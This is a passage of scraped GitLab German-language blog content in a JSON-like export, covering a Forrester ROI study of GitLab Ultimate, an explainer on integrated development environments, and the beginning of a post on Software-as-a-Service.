blieb, war es in wirtschaftlicher Hinsicht klar, zu einer einheitlichen Plattform zu wechseln.“* - CTO und Senior-Vizepräsident(in), Verteidigungsindustrie\n\nDie zusammengefassten Daten aus den Kundeninterviews zeigen, dass Unternehmen mit GitLab die Veröffentlichung der ersten Release um das 15-Fache beschleunigen konnten. Dieser enorme Vorteil wird durch eine raschere Initiierung von Projekten, häufigere Softwarereleases und einen proaktiven Sicherheitsansatz erreicht, bei dem Sicherheitsscans von Beginn an in den Entwicklungsprozess integriert werden. Trotz dieser Geschwindigkeitssteigerung bleiben Softwarequalität und Sicherheit auf dem gleichen hohen Niveau, da die Entwickler(innen) Probleme frühzeitig und schnell beheben können.\n\nDa die [Sicherheit direkt in den Entwicklungsprozess integriert wurde](https://about.gitlab.com/solutions/security-compliance/), können Entwickler(innen) Sicherheitslücken identifizieren, priorisieren und beheben, ohne ihren Workflow unterbrechen zu müssen. Dieser vereinheitlichte Ansatz für den gesamten Software-Entwicklungsprozess sorgt dafür, dass Teams schneller vorwärts kommen, ohne Kompromisse bei der Sicherheit eingehen zu müssen.\n\n## **4\\. 5-fache Zeitersparnis bei Sicherheitsaktivitäten**\n\n*„Die Integration von Sicherheits- und Qualitätsscannern in die Pipeline war für uns ein Wendepunkt. Durch mehr Automatisierung und weniger manueller Arbeit gibt es weniger Ausfälle, weniger Probleme und schnellere Fortschritte.“* - Programmmanager(in), Finanzbranche \n\nSicherheit steht für jedes Unternehmen an erster Stelle, da sich die Entwicklung beschleunigt und sich die Bedrohungen ständig weiterentwickeln. Mit GitLab können die Mitglieder des Sicherheitsteams im kombinierten Unternehmen **78 Stunden pro Mitglied und Jahr** einsparen, indem wiederkehrende Aufgaben wie Vorbereitungen für die Notfallwiederherstellung, Auditing und Compliance-Überprüfungen automatisiert werden. GitLab verbessert zudem die Transparenz im Software-Entwicklungsprozess und hilft den Sicherheits- und Entwicklungsteams dabei, effizienter zusammenzuarbeiten.\n\nDie Cybersicherheits- und Softwareentwicklungsteams im kombinierten Unternehmen konnten **Sicherheitsrisiken im Software-Entwicklungsprozess mit 81 % weniger Aufwand verwalten und mindern.** Dies ist darauf zurückzuführen, dass sie dank GitLab Sicherheitsprotokolle und -scans in allen Phasen des Software-Entwicklungsprozesses integrieren können. Dadurch konnten strenge Sicherheitsstandards viel einfacher umgesetzt werden. Da Sicherheitstests und die Fehlerbehebung in die Pipelines integriert werden, können Teams die durchschnittlichen Reaktionszeiten sowie das Risiko, dass Probleme in die Produktion gelangen, senken.\n\n# **Erlebe DevSecOps in Aktion**\n\nMit einem ROI von 483 %, einer kurzen Amortisationszeit und unzähligen Erfolgsgeschichten ist GitLab ein unschätzbares Tool für Unternehmen, die ihre Software-Entwicklungsprozesse transformieren möchten.\n\n> Um herauszufinden, wie GitLab auch dein Unternehmen unterstützen kann, lade den vollständigen Bericht noch heute herunter (nur auf Englisch verfügbar): [Forrester Consulting „Total Economic Impact of GitLab Ultimate“ ](https://about.gitlab.com/resources/study-forrester-tei-gitlab-ultimate/).\n\n**Methodik**  \n*Für die Studie befragte Forrester vier GitLab-Ultimate-Kund(inn)en aus verschiedenen Branchen, darunter Finanzwesen, Verteidigung und Forschung, und bildete aus den Angaben ein fiktives kombiniertes Unternehmen, das die aggregierten Ergebnisse der Befragungen widerspiegelt. Es wird erwartet, dass das kombinierte Unternehmen GitLab Ultimate in einem Zeitraum von drei Jahren in allen Teams einführt.*\n\n*Das kombinierte Unternehmen ist ein 5 Milliarden Dollar schweres Unternehmen mit 5 000 Mitarbeitenden, von denen 40 % an der Softwarebereitstellung beteiligt sind und in dem 50 % des Jahresumsatzes durch Softwareentwicklung erzielt werden. Die Ziele des fiktiven Unternehmens sind, mehrere Tools in eine einzige integrierte Plattform zu konsolidieren, die Produktivität der Entwickler(innen) zu steigern, die Einhaltung von Branchenvorgaben und internen Richtlinien zu erreichen und die Sicherheit im gesamten Entwicklungsprozess zu steigern.*\n\n*1. Basierend auf zusammenfassenden Daten aus Kundeninterviews; nicht auf die Ergebnisse des kombinierten Unternehmens anwendbar.*",[1467],"2024-11-26","2024-11-13","Wirtschaftliche Gesamtauswirkungen von GitLab Ultimate: 483 % ROI über 3 Jahre",[746,1470,723,765],{"slug":2520,"featured":92,"template":682},"gitlab-ultimates-total-economic-impact-483-roi-over-3-years","content:de-de:blog:gitlab-ultimates-total-economic-impact-483-roi-over-3-years.yml","Gitlab Ultimates Total Economic Impact 483 Roi Over 3 Years","de-de/blog/gitlab-ultimates-total-economic-impact-483-roi-over-3-years.yml","de-de/blog/gitlab-ultimates-total-economic-impact-483-roi-over-3-years",{"_path":2526,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2527,"content":2533,"config":2540,"_id":2542,"_type":16,"title":2543,"_source":17,"_file":2544,"_stem":2545,"_extension":20},"/de-de/blog/what-is-an-ide",{"ogTitle":2528,"schema":2529,"ogImage":2530,"ogDescription":2531,"ogSiteName":1396,"noIndex":6,"ogType":1397,"ogUrl":2532,"title":2528,"canonicalUrls":2532,"description":2531},"IDE: Integrierte Entwicklungsumgebung einfach erklärt ","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Was ist eine integrierte Entwicklungsumgebung (IDE)?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab Germany Team\"}],\n        \"datePublished\": \"2024-11-13\",\n      }","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659768/Blog/Hero%20Images/AdobeStock_271529563.jpg","Wir zeigen dir, was eine integrierte Entwicklungsumgebung (IDE) ist. ✓ Definition ✓ Unterschiede ✓ Komponenten ✓ Auswahl ➤ Jetzt Leitfaden lesen!","https://about.gitlab.com/blog/what-is-an-ide",{"heroImage":2530,"body":2534,"authors":2535,"updatedDate":2151,"date":2516,"title":2536,"tags":2537,"description":2539,"category":847},"Entwickler/in ist ein finanziell lukrativer Beruf in einer der derzeit spannendsten Branchen. Zugleich ist es auch ein Job, der mit einer sehr hohen Arbeitsbelastung und einem enormen Leistungsdruck einhergeht. Laut einer Studie leiden bis zu 60 % aller IT-Expert(inn)en unter „Burn-out”. Diese Zahl ist umso bedrückender, wenn man bedenkt, dass sie Studierende miteinschließt. \n\nIntegrierte Entwicklungsumgebungen (IDEs) wurden nicht primär dafür entwickelt, das Coden angenehmer zu machen. Dennoch tragen sie viel dazu bei, die tägliche Arbeit für Entwickler(innen) einfacher zu gestalten. Wer eine gut funktionierende, auf die persönlichen Bedürfnisse zugeschnittene IDE gefunden hat, weiß, wie viel das wert ist.\n\nDie Optimierung des Workflows ist nur ein Aspekt unter vielen, weswegen IDEs einen hohen Stellenwert genießen. Man kann mit gutem Recht behaupten: Modernes Programmieren wäre ohne IDEs nicht denkbar.\n\nWas ist eine IDE? In dieser Übersicht gehen wir ausführlich auf diese Frage ein sowie auf alle Aspekte, die IDEs so begehrt machen. Wenn du noch offene Fragen zum Thema hattest – nach der Lektüre sollten sie beantwortet sein.\n\n## Inhaltsverzeichnis - Was ist eine IDE?\n\n- [Was ist eine IDE?](#was-ist-eine-ide%3F)\n- [IDE vs Code-Editor vs Building-Tools](#ide-vs-code-editor-vs-building-tools)\n- [Was sind die wichtigsten Komponenten einer IDE?](#was-sind-die-wichtigsten-komponenten-einer-ide%3F)\n - [Code-Editor](#code-editor)\n - [Building-Tools](#building-tools)\n - [Debugging](#debugging)\n- [Warum wurden IDEs entwickelt?](#warum-wurden-ides-entwickelt%3F)\n- [Gibt es unterschiedliche IDE-Typen?](#gibt-es-unterschiedliche-ide-typen%3F)\n- [Wonach sollte ich meine IDE auswählen?](#wonach-sollte-ich-meine-ide-auswählen%3F)\n- [Was ist die beste IDE?](#was-ist-die-beste-ide%3F)\n  - [IDE Eclipse](#ide-eclipse)\n  - [Dreamweaver](#dreamweaver)\n  - [IntelliJ](#intellij)\n  - [IDE Visual Studio](#ide-visual-studio)\n  - [GitLab](#gitlab)\n- [IDE-FAQs](#ide-faqs)\n\n## Was ist eine IDE?\n\nDie Abkürzung IDE steht für „Integrated Development Environment”, zu Deutsch „Integrierte Entwicklungsumgebung”. Aus dem Begriff lässt sich eine einfache Definition ableiten:\n\nIDEs unterstützen Entwickler(innen) bei den meisten Aspekten des Codens, beziehungsweise der Programmierung.\nIDEs kombinieren verschiedene Entwicklungstools in einem Paket. So können Anwender(innen) nahtlos zwischen Funktionen hin- und herschalten.\n\nMan kann sich eine IDE wie einen Baukasten vorstellen, der eine zentrale Benutzeroberfläche sowie ein Netzwerk aus Modulen bietet, auf die Benutzer(innen) zugreifen können.\n\n## IDE vs Code-Editor vs Building-Tools\n\nDie ersten IDEs entstanden, als sich das Programmieren aus den Universitäten wegbewegte und Computer in der freien Wirtschaft Fuß zu fassen begannen.\n\nWeil IDEs verschiedene Tools integrieren, folgt ihre Entwicklung somit den Fortschritten, die in Entwicklungsanwendungen im Laufe der Jahre gemacht wurden. Compiler beispielsweise gab es bereits in den 1950ern, Code-Editoren hingegen kamen weitaus später hinzu.\n\nGemeinhin wird der Maestro I, der in München vom Unternehmen Softlab entwickelt wurde, als die erste kommerzielle IDE betrachtet. Der erste Maestro wurde 1977 verkauft und die Marke hatte bis in die frühen 1990er Jahre hinein einen signifikanten Kundenstamm. Insgesamt wurden 22000 Maestros installiert.\n\nSchon dieser Vorläufer vereinte die bis heute relevanten Kernfunktionalitäten eines Coding-Editors, Assemblers und Compilers. \n\n## Was sind die wichtigsten Komponenten einer IDE?\n\nWar der Maestro I wirklich die erste IDE? Dafür müssen wir uns noch weitere Aspekte ansehen, die eine IDE ausmachen. Einige der wichtigsten Bestandteile einer integrierten Entwicklungsumgebung haben wir bereits genannt:\n\nEin Coding-Editor\nBuilding-Tools, einschließlich Compiler und Packer\n\nDarüber hinaus beinhalten IDEs noch Fehlerbeseitigungs-Anwendungen, die für ein Debugging zur Verfügung stehen. \n\nAuch ist es möglich, IDEs in einen DevOps- oder Agile-Management-Prozess einzubinden. Durch diese Verknüpfung üben sie einen positiven Einfluss auf den gesamten Arbeitsprozess aus, der über das Programmieren hinausgeht. So profitiert unter anderem deine agile Planung von der Wahl der für dich und dein Team optimalen IDE.\n\nBetrachten wir diese verschiedenen Teile nun ein wenig genauer.\n\n### Code-Editor \n\nDer Code-Editor ist das Herzstück einer IDE. Auch deshalb ist die Vielfalt an Instrumenten, die Entwickler(innen) als Teil dieser Editoren zur Verfügung stehen, besonders groß.\n\nDazu gehören zum Beispiel:\nIntelligente Code-Vervollständigung: Ähnlich einer Auto-Complete-Funktion beim Smartphone schlagen moderne Coding-Editoren während des Programmierens die nächsten Zeilen vor und korrigieren offensichtliche syntaktische Fehler.\nDie IDE kümmert sich um einen korrekten, auf Lesbarkeit und Struktur optimierten Code. Dazu gehören das Refactoring (Reorganisation des Codes für maximale Effizienz), das farbliche Hervorheben unterschiedlicher Code-Bausteine sowie eine Prüfung für verschiedene Programmiersprachen.\nBegleitende Bug-Prüfung, das heißt, dass die IDE bereits während des Programmierens den gesamten Code auf innere Konsistenz hin untersucht.\nDas Programmieren ist der zentrale Teil der Arbeit an neuen Softwareprojekten. Doch damit eine Anwendung getestet werden kann, muss sie regelmäßig kompiliert werden.\n\nHierfür existieren spezialisierte Anwendungen, die sogenannten Compiler und Packer. Integrierte Entwicklungsumgebungen bieten diese in der Regel als Teil ihrer Basisfunktionalität an.\n\n### Building-Tools\n\nSogar Programmiersprachen mit einem hohen Abstraktionsgrad sind immer noch für Menschen ausgelegt. Damit Maschinen einen Code in einer Programmiersprache ausführen können, müssen die Daten in eine von Maschinen lesbare binäre Sprache übertragen werden.\n\nDie damit verbundenen Aufgaben werden von Compilern und Packern übernommen. Diese Anwendungen werden unter dem Oberbegriff „Building-Tools” zusammengefasst. Building-Tools vereinfachen den Prozess der Übersetzung, indem sie ihn automatisieren.\n\nBuilding-Tools sind heute ein integraler Teil von IDEs und erlauben es Teams, den gesamten Prozess des Programmierens über die Durchführung von Tests bis hin zur finalen Delivery innerhalb derselben Entwicklung durchzuführen und zu steuern.\n\n### Debugging\n\nHistorisch gesehen sind Debugger einer der Hauptgründe, warum Integrated Development Systems sich auf breiter Front durchgesetzt haben: Gerade beim Coden kann sich die Suche nach Fehlern als sehr aufwändig erweisen.\n\nDas ist zum einen ein Problem, wenn du auf kontinuierliche Verbesserung setzt und dazu das Produkt regelmäßig und oft testen möchtest. Wenn zu viele Fehler verhindern, dass du ein testfähiges Stadium erreichst, hemmt dies den gesamten Prozess und macht agiles Management unmöglich.\n\nNoch schwerwiegender wird es, wenn das Endprodukt von Fehlern betroffen ist, die seinen Nutzen für Kund(innen) reduzieren. Hier können effektive Debugger einen entscheidenden Beitrag leisten.\n\n## Warum wurden IDEs entwickelt? \n\nAn sich fällt die Beantwortung dieser Frage nicht schwer. Gemäß ihrer Definition schnüren IDEs Pakete aus miteinander verbundenen Anwendungen, die sich gegenseitig ergänzen.\n\nZusammen erlauben sie:\n\n- Fokussiertes Arbeiten und einen „sauberen” Code, der den Regeln der jeweiligen Programmiersprache folgt und optimal auf Lesbarkeit und Effizienz hin strukturiert ist.\n- Flexibilität im Hinblick einerseits auf die zu wählende Programmiersprache und andererseits für eine Vielzahl verschiedener Projekte.\n- Eine Reduzierung des Aufwands und der Kosten für einzelne Lizenzen. Gerade wenn Anwendungen auf einer SaaS-Basis erworben werden, häufen sich die Abonnements an.\n- Eine nahezu garantierte Kompatibilität der Anwendungen. Alles innerhalb einer IDE ist optimal aufeinander abgestimmt.\n- Ein nahtloses Springen zwischen verschiedenen Anwendungen, statt für jeden neuen Schritt im Arbeitsprozess die Aktivität unterbrechen zu müssen.\n\nZusammengefasst addieren sich die Punkte zu einer beträchtlichen Zeitersparnis. Darüber hinaus sorgen IDEs gerade in großen Teams oder Netzwerken aus Teams dafür, dass alle Beteiligten mit denselben Mitteln arbeiten und es nicht zu Kompatibilitätskonflikten kommt.\n\n## Gibt es unterschiedliche IDE-Typen?\n\nMan unterscheidet grundsätzlich drei verschiedene Formen von IDEs.\nCloudbasierte IDEs werden von allen Teammitgliedern geteilt und laufen oftmals über einen Browser. Sie bieten den großen Vorteil, dass der Zugriff von nahezu überall möglich ist und Teams dezentral an einem Projekt arbeiten können.\n\nLokale IDEs werden auf dem Rechner von  Mitarbeiter(inne)n gespeichert. Diese Form verliert zunehmend an Beliebtheit. Trotzdem haben sich Cloud-Lösungen noch nicht so durchgesetzt wie in anderen Bereichen der IT-Branche. Auf die Gründe dafür gehen wir gleich ein.\nStandardized Development Environments: Jedes Unternehmen hat seine eigenen Bedürfnisse. \n\nCloudbasierte und lokale Anwendungen mögen umfangreich und flexibel sein, doch bleiben sie letzten Endes generisch. Wenn du eine personalisierte Lösung für deine Teams bevorzugst, kann eine aus einzelnen Bausteinen zusammengesetzte, modulare IDE Sinn ergeben. Mit einer solchen SDE definierst du für dein Unternehmen einen eigenen Standard.\nFür manche Entwickler(innen) kommt noch eine vierte Variante hinzu: Eine komplett selbst zusammengestellte, personalisierte IDE. In besonders anspruchsvollen Projekten kann das Sinn ergeben. Für die meisten Unternehmen jedoch ergeben sich aus einer Vielzahl individueller Umgebungen zu viele Abstimmungsprobleme.\n\n## Wonach sollte ich meine IDE auswählen?\n\nDer Markt für IDEs ist inzwischen sogar für erfahrene Entwickler(innen) unübersichtlich geworden. Und so finden sich zahlreiche Foren, in denen man sich austauscht und berät, welche IDE für die eigenen Ziele am besten geeignet ist.\n\nNatürlich hängt diese Entscheidung unter anderem auch von dem Projekt ab, an dem du arbeitest. Darüber hinaus gibt es einige Aspekte, die du ebenfalls berücksichtigen solltest.\n\nDer erste ist, mit welcher Programmiersprache du vorhast, zu arbeiten. IDEs unterstützen eine Vielzahl von Sprachen, dennoch sind manche IDEs schlicht besser auf bestimmte Sprachen abgestimmt als auf andere.\n\nDas gleiche gilt für die Funktionalität. Die meisten Bausteine wirst du in jeder IDE finden. Trotzdem lohnt es sich, im Team nachzufragen, ob Wünsche bestehen, die eventuell nicht von jeder gängigen IDE abgedeckt werden.\n\nDie beiden wichtigsten Punkte bei der Auswahl der IDE sind aber zweifelsfrei Performance und Community Support. Da integrierte Entwicklungsebenen heutzutage so umfangreich sind, stellen sie oftmals auch eine Performance-Belastung für das System dar. Dies wiegt umso schwerer bei cloudbasierten IDEs. Communities wiederum bieten Unterstützung bei Problemen und treiben die Entwicklung der Software organisch voran. \n\n## Was ist die beste IDE?\n\nJeder Artikel, welcher dieser Frage nachgeht, fängt mit der Feststellung an, dass es keine beste IDE geben kann, da jede Aufgabe und jedes Team sehr spezifische Anforderungen und Präferenzen hat. Die Bewertung einer IDE ist somit unmittelbar mit der Definition der Aufgaben verbunden. \n\nDas ist ganz gewiss richtig. Dennoch fällt auf, dass, unabhängig von der Plattform oder dem Projekt, bestimmte IDEs von Experten weitaus öfter genannt werden als andere. Offenbar erfüllen manche integrierte Entwicklungsumgebungen die Bedürfnisse von breiten Anwender(innen)gruppen.\n\nUm dir einen besseren Überblick zu verschaffen, haben wir das Netz durchkämmt und die wichtigsten englischsprachigen Artikel sowie die am höchsten rankenden deutschen Artikel zu diesem Thema analysiert. \n\nAus diesen haben wir eine Rangliste erstellt. In den Klammern findest du die Zahl der Nennungen dieser IDE als eine der besten:\n\n1. Visual Studio (10x)\n2. Eclipse (8x)\n    IntelliJ (8x)\n    NetBeans (8x)\n5. Android (6x)\n    Code::Blocks (6x)\n7. Atom (5x)\n    PyCharm (5x)\n9. AWS Cloud 9 (4x)\n    RubyMine (4x)\n    WebStorm (4x)\n    Xcode (4x)\n    Zend (4x)\n\nAuch wenn jedes dieser Programme die Anforderungen an eine zeitgemäße IDE erfüllt, bestehen zwischen ihnen teilweise erhebliche Unterschiede. Werfen wir deswegen einen genaueren Blick auf einige IDE-Beispiele, um dies zu verdeutlichen.\n\n### IDE Eclipse\n\nWer sich mit der Geschichte von IDEs auseinandersetzt, wird zwangsläufig auf Eclipse IDE stoßen. Hierbei handelt es sich um eine integrierte Entwicklungsumgebung, die ursprünglich von IBM entwickelt wurde und nun als Freeware zur Verfügung steht. In einer schnelllebigen Branche ist Eclipse eine nahezu unvorstellbare Erfolgsgeschichte: Seit fast einem Vierteljahrhundert nutzen Entwickler(innen) diese Software, um an Projekten zu arbeiten.\n\nMan muss offen zugeben, dass der Zahn der Zeit nicht spurlos an Eclipse vorbeigegangen ist. Im direkten Vergleich zu aktuellen Alternativen hat die Oberfläche einen deutlichen Retro-Touch. Die Anwendung ist eher langsam und von gelegentlichen Abstürzen geplagt.\n\nDem steht allerdings ein umfangreicher Erfahrungsschatz gegenüber und eine nahezu endlose Palette an Erweiterungen und Plug-ins. Für manche Entwickler(innen) bietet Eclipse einen guten Workflow, den vermeintlich innovativere neue Lösungen immer noch nicht erreichen.\n\n### Dreamweaver\n\nDreamweaver ist ein interessantes Beispiel für eine spezialisierte IDE. Zwar verfügt die von Adobe vertriebene Anwendung auch über eine Code-Editor, der Dreamweaver zu einer vollwertigen IDE aufwertet, ihr Haupteinsatzgebiet aber ist die Website-Programmierung.\n\nViele Jahre lang war Dreamweaver in diesem Bereich der globale Führer. Für das Programm sprechen auch weiterhin seine Robustheit und die große User-Community, die gerne bei Problemen und Fragen behilflich ist. Der Editor erlaubt eine direkte Sicht auf die fertige Website, was vielen Entwicklern entgegenkommt.\n\nNachteilig aber ist, dass Dreamweaver sich in den letzten Jahren wenig weiterentwickelt hat und aus Sicht vieler professioneller Anwender(innen) nicht mehr sinnvoll für große kommerzielle Websites verwendet werden kann. Die Performance ist zudem nicht optimal und der von Dreamweaver generierte Code ein wenig „aufgebläht”.\n\nFür einfache Projekte aber kann Dreamweaver auch weiterhin eine hervorragende Lösung darstellen.\n\n### IntelliJ\n\nIntelliJ gilt bei vielen als die derzeit beste IDE.\n\nIn dieser Anwendung verbinden sich traditionelle Tugenden – ein großer Funktionsumfang, kostenlose Einstiegsversion – mit innovativen neuen Features und einer großen, umtriebigen Community. Zwar ist die kostenpflichtige Ultimate Edition mit einem Jahresbeitrag von knapp 560 Euro im Jahr nicht günstig, für viele Unternehmen ist die Investition ihr Geld aber wert.\n\nWer im Netz nach Erfahrungen mit der IntelliJ IDE sucht, wird gelegentlich Beschwerden finden, diese Integrated Development Environment sei langsam und die Ladezeiten seien recht hoch. Gemeinhin fallen die Ladezeiten aber nur beim Neustart negativ auf. Gegenüber der direkten Konkurrenz und vor allem gegenüber älteren Alternativen wie Eclipse fällt IntelliJ hier keineswegs ab.\n\nMan kann sagen, dass diese Beschwerden daher rühren, dass Anwender(innen) von IntelliJ besonders fortschrittlich denken und hohe Ansprüche haben. Bis jetzt hat sich das dahinterstehende Unternehmen Jetbrains mit seinen neuen Versionen immer wieder die Treue seiner Nutzer(innen) gesichert.\n\nIntelliJ mag nicht perfekt sein, derzeit aber kommt diese IDE dem Ideal einer IDE recht nahe. Überboten wird sie aus der Sicht von Entwickler(inne)n und Expert(inn)en, wenn überhaupt, nur von einem einzigen Konkurrenzprodukt:\n\n### IDE Visual Studio\n\nEs überrascht kaum, dass auf einem so begehrten Markt wie dem für integrierte Entwicklungsumgebungen auch die großen Global Players mitmischen wollen. So bietet Apple Xcode an, Google's Cloud Workstations beinhaltet eine webbasierte IDE und Amazon geht mit seiner AWS Cloud9 an den Start.\n\nKeine dieser IDEs aber erreicht den Stellenwert von Microsofts IDE Visual Studio. Eine der stärksten Funktionen dieser IDE liegt in ihrer nahtlosen, organischen und äußerst funktionalen Einbindung von KI. Aber ganz allgemein ist der Funktionsumfang der Software bemerkenswert. Es bleiben hier wahrhaft kaum Wünsche offen.\n\nAls die Website Onlinekurse das Visual Studio bewertete, fiel ihr nur ein einziger ernstzunehmender Einwand ein, der eher nach einem versteckten Kompliment als einer Kritik klingt: „[Die] Vielfalt an Optionen macht die Ersteinrichtung und Konfiguration schwierig.” \n\n### GitLab\n\nAuch GitLab hat eine eigene cloudbasierte IDE. Das ergibt Sinn, weil die direkte Einbindung in das Projektmanagement eine noch bessere Umsetzung agiler Methoden ermöglicht.\n\nMit der GitLab-IDE steht dir ein voll funktionsfähige integrierte Entwicklungsumgebung zur Verfügung. In einer ausführlichen Einführung und Übersicht in die GitLab-IDE kannst du dich informieren, ob sie für dich und dein Team eine gelungene Alternative zu den oben genannten Angeboten darstellt.\n\nWenn du die GitLab-IDE in der Praxis testen möchtest, nutze unsere GitLab-Testversion und arbeite 30 Tage kostenlos damit. \n\n## IDE-FAQs\n\n### Was ist die beste Einsteiger-IDE? Was ist die beste IDE für erfahrene Entwickler(innen)?\n\nDie Ansprüche von erfahrenen Entwickler(inne)n und Anfänger(inne)n an eine IDE unterscheiden sich erheblich.\n\nFür Anfänger(innen) ist es entscheidend, dass die Anwendung stabil läuft, eine klar strukturierte Oberfläche aufweist und die Basisfunktionen intuitiv zu bedienen sind. Eine allzu umfangreiche Palette an Möglichkeiten kann hier sogar einen Nachteil darstellen.\n\nFür professionelle, erfahrene Programmierer(innen) hingegen sind oftmals Performance und Individualisierungsfähigkeit wichtigere Faktoren. Für sie sind gelegentlich sogar Cloud-IDEs keine gute Option, da sie langsamer als lokale IDEs sind. Auch kann eine innovative Produktweiterentwicklung für sie einen höheren Stellenwert einnehmen als Stabilität.\nWährend IDEs als Alles-in-einem-Paketlösungen für Einsteiger(innen) ein hervorragendes Konzept bieten, präferieren manche Entwickler(innen) es, in einem einfachen Code-Editor zu arbeiten und für die darüber hinaus anfallenden Schritte jeweils individuelle Apps zu nutzen.\n\nVon den genannten IDEs bietet wohl das Visual Studio den besten Kompromiss, da es sowohl umfangreich und innovativ als auch einfach zu bedienen ist.\n\n### Hat die Verwendung von IDEs auch Nachteile?\n\nDie meisten IDEs funktionieren hervorragend und machen die Arbeit an einem Projekt deutlich einfacher. Trotzdem solltest du bei der Verwendung einer integrierten Entwicklungsumgebung stets beachten, dass es auch gewisse Nachteile gibt:\n\nPaketlösungen bieten in der Regel eine sehr gute Qualität ihrer Einzelanwendungen, die Komponenten erreichen aber eher selten Spitzenwerte. So ist es durchaus denkbar, dass bestimmte Individuallösungen besser sind als die entsprechenden Komponenten einer IDE.\nJede IDE wird die Performance einschränken, da bei ihr mehr Komponenten in den Speicher geladen werden als bei Einzelanwendungen. \n\nWer sich zu sehr auf ein bestimmtes System verlässt, bewegt sich zwangsläufig in Richtung eines „Lock-Ins”. Dieses Risiko ist natürlich auch bei IDEs gegeben. Allerdings ist es in den letzten Jahren gesunken, da IDEs zunehmend mit allgemeinen Standards arbeiten. So fällt der Wechsel von einer IDE zur anderen oftmals sehr undramatisch aus.\n",[701],"Was ist eine integrierte Entwicklungsumgebung (IDE)?",[2113,2538],"embedded DevOps","Der ultimative Guide: Alles, was du über Integrierte Entwicklungsumgebungen wissen musst.",{"slug":2541,"featured":6,"template":682},"what-is-an-ide","content:de-de:blog:what-is-an-ide.yml","What Is An Ide","de-de/blog/what-is-an-ide.yml","de-de/blog/what-is-an-ide",{"_path":2547,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2548,"content":2554,"config":2560,"_id":2562,"_type":16,"title":2563,"_source":17,"_file":2564,"_stem":2565,"_extension":20},"/de-de/blog/software-as-a-service-the-future-of-software-delivery",{"title":2549,"description":2550,"ogTitle":2549,"ogDescription":2550,"noIndex":6,"ogImage":2551,"ogUrl":2552,"ogSiteName":1396,"ogType":1397,"canonicalUrls":2552,"schema":2553},"SaaS: Software-as-a-Service: Die Zukunft der Software-Delivery","Was ist SaaS, wie teuer ist die Nutzung und sollte ich es nutzen? Hier findest du Antworten.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665594/Blog/Hero%20Images/AdobeStock_322666102.jpg","https://about.gitlab.com/blog/software-as-a-service-the-future-of-software-delivery","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"SaaS: Software-as-a-Service: Die Zukunft der Software-Delivery\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab Germany Team\"}],\n        \"datePublished\": \"2024-11-06\",\n      }",{"title":2549,"description":2550,"authors":2555,"heroImage":2551,"date":2556,"body":2557,"category":2558,"tags":2559},[701],"2024-11-06","Langsam aber sehr sicher löst SaaS das konventionelle On-Premise-Modell auch in der Softwareentwicklung ab. Alleine Amazon erzielte mit Software-as-a-Service 2024 weltweit einen Umsatz von 244 Milliarden US-Dollar. Auch in Deutschland wächst die SaaS-Branche und wird in diesem Jahr laut Prognosen zu Software as a Service einen Umsatz von 13,26 Mrd. € erreichen. \n\nHierbei handelt es sich nicht um kurzfristige Trends. Frühe Vorläufer von SaaS reichen bis in die 1990er Jahre zurück und das Konzept dahinter hat seine Wurzeln sogar in den 70er Jahren. Seitdem hat der Sektor kontinuierlich an Bedeutung hinzugewonnen. Viele halten ihn schlichtweg für die Zukunft der Software-Delivery.\n\nSehr wahrscheinlich nutzt du in deinem Unternehmen bereits heute Software-as-a-Service, ohne den Begriff direkt einordnen zu können. In unserer umfangreichen Übersicht erfährst du alles, was du zum Thema wissen musst – von möglichen Alternativen bis hin zu Empfehlungen, wie du SaaS so einsetzt, dass es deine Ziele als Entwickler(in) oder Manager(in) optimal unterstützt.\n\nFangen wir jedoch mit der offensichtlichsten Frage an: *Was ist SaaS?*\n\n## Was ist Software-as-a-Service?\n\nGemäß einer einfachen SaaS-Definition ist Software-as-a-Service ein Modell, bei dem Software nicht mehr als abgeschlossenes Produkt betrachtet, das im Einzelhandel erworben und dann lokal auf deinem Rechner installiert wird, sondern als fortlaufende Dienstleistung.\n\nDie früher übliche Lösung wird gemeinhin als \"On Premise\" bezeichnet, weil die Software noch in den Räumlichkeiten und auf der Hardware der Anwender(innen) gespeichert und ausgeführt wurde.\nBei SaaS hingegen erfolgt der Zugriff gemeinhin über die Cloud und der/die Herausgeber(in) kümmert sich um nahezu alle Aspekte der Software:\n\n- Das Hosting und die stabile Nutzung der Anwendung\n\n- Fortlaufende Updates und Weiterentwicklung\n\n- Unterstützung bei Anliegen und Fragen\n\nDie Abrechnung erfolgt in der Regel auf einem Abonnement-Modell. Das heißt: Du bezahlst die anfallenden Gebühren entweder monatlich, auf Quartalsbasis oder jährlich. Es sind aber auch nutzungsbasierte oder komplett kostenlose Varianten denkbar.\n\n## Beispiele für SaaS\n\nEin erstes auf breiter Basis genutztes Software-as-a-Service-Beispiel war der Wettstreit Google Docs vs Office Online. Im Jahr 2006 eingeführt, bot Google mit seinem Docs-Paket den damals revolutionären kostenfreien mobilen Zugriff auf grundlegende Office-Funktionen. Microsoft zog kurz danach mit Office Online nach und inzwischen ist Software-as-a-Service eher der De-facto-Standard als eine Ausnahme. \n\nWeitere Beispiele für SaaS sind: Mailchimp (Versenden von Newslettern), NetSuite (Finanzplanung und Rechnungswesen), die SAP S/4HANA Cloud (Financial Analytics), Shopify (E-Commerce), Slack (Ideenaustausch und Kollaboration). Mehr dazu findest du in diesem Computerwoche-Artikel. \nUnd natürlich handelt es sich auch bei GitLab um ein SaaS-Angebot. Erfahre mehr über unsere kostenlose GitLab-Ultimate-Testversion.\n\n## Was sind die Hauptmerkmale von SaaS?\n\nWie bereits aus Google Docs hervorgeht, ist das zentrale Element von SaaS für die meisten Anwender(innen) der webbasierte Zugriff auf bestimmte Leistungen.\nHieraus ergeben sich folgende Aspekte:\n\n__Multi Tenancy:__ Ins Deutsche zumeist etwas ungelenk als „Mehrmandantenfähigkeit” übersetzt, bezeichnet Multi Tenancy schlicht die Funktionalität, dass mehrere Kund(inn)en auf dieselbe Kopie der Software zugreifen. Das lokale Kopieren und Installieren  von\tLizenzen entfällt.\n__\nMobiler Zugriff:__ SaaS erlaubt es, von den meisten onlinefähigen Geräten auf die Software zuzugreifen. Der Arbeitsplatz im Büro wird damit optional, die Funktionen der Anwendung stehen dir fortan (nahezu) überall und jederzeit 